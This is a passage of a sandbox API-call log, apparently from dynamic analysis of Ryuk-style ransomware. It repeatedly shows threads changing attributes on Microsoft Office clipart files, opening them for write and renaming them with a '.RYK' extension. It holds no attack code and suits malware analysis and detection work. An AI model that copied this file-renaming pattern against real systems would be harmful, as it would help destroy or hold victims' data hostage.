	[0253.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3242
	os_tid = 0x3868

	[0253.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", dwFileAttributes=0x80) returned 0
	[0253.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.295] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3243
	os_tid = 0x386c

	[0253.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF", dwFileAttributes=0x80) returned 0
	[0253.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3244
	os_tid = 0x3870

	[0253.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF", dwFileAttributes=0x80) returned 0
	[0253.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.150] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3245
	os_tid = 0x3874

	[0253.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF", dwFileAttributes=0x80) returned 0
	[0253.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3246
	os_tid = 0x3878

	[0253.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF", dwFileAttributes=0x80) returned 0
	[0253.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.153] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3247
	os_tid = 0x387c

	[0253.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF", dwFileAttributes=0x80) returned 0
	[0253.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3248
	os_tid = 0x3880

	[0253.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF", dwFileAttributes=0x80) returned 0
	[0253.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3249
	os_tid = 0x3884

	[0253.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF", dwFileAttributes=0x80) returned 0
	[0253.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3250
	os_tid = 0x3888

	[0253.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF", dwFileAttributes=0x80) returned 0
	[0253.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3251
	os_tid = 0x388c

	[0253.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF", dwFileAttributes=0x80) returned 0
	[0253.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3252
	os_tid = 0x3890

	[0253.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF", dwFileAttributes=0x80) returned 0
	[0253.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3253
	os_tid = 0x3894

	[0253.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF", dwFileAttributes=0x80) returned 0
	[0253.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3254
	os_tid = 0x3898

	[0253.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF", dwFileAttributes=0x80) returned 0
	[0253.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.313] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3255
	os_tid = 0x389c

	[0253.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF", dwFileAttributes=0x80) returned 0
	[0253.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3256
	os_tid = 0x38a0

	[0253.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF", dwFileAttributes=0x80) returned 0
	[0253.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.316] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3257
	os_tid = 0x38a4

	[0253.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF", dwFileAttributes=0x80) returned 0
	[0253.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3258
	os_tid = 0x38a8

	[0253.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF", dwFileAttributes=0x80) returned 0
	[0253.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3273
	os_tid = 0x38e8

	[0253.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF", dwFileAttributes=0x80) returned 0
	[0253.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3274
	os_tid = 0x38ec

	[0253.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF", dwFileAttributes=0x80) returned 0
	[0253.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3275
	os_tid = 0x38f0

	[0253.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF", dwFileAttributes=0x80) returned 0
	[0253.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3276
	os_tid = 0x38f4

	[0253.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF", dwFileAttributes=0x80) returned 0
	[0253.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3277
	os_tid = 0x38f8

	[0253.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF", dwFileAttributes=0x80) returned 0
	[0253.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3278
	os_tid = 0x38fc

	[0253.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF", dwFileAttributes=0x80) returned 0
	[0253.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3279
	os_tid = 0x3900

	[0253.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF", dwFileAttributes=0x80) returned 0
	[0253.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3280
	os_tid = 0x3904

	[0253.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF", dwFileAttributes=0x80) returned 0
	[0253.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3281
	os_tid = 0x3908

	[0253.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF", dwFileAttributes=0x80) returned 0
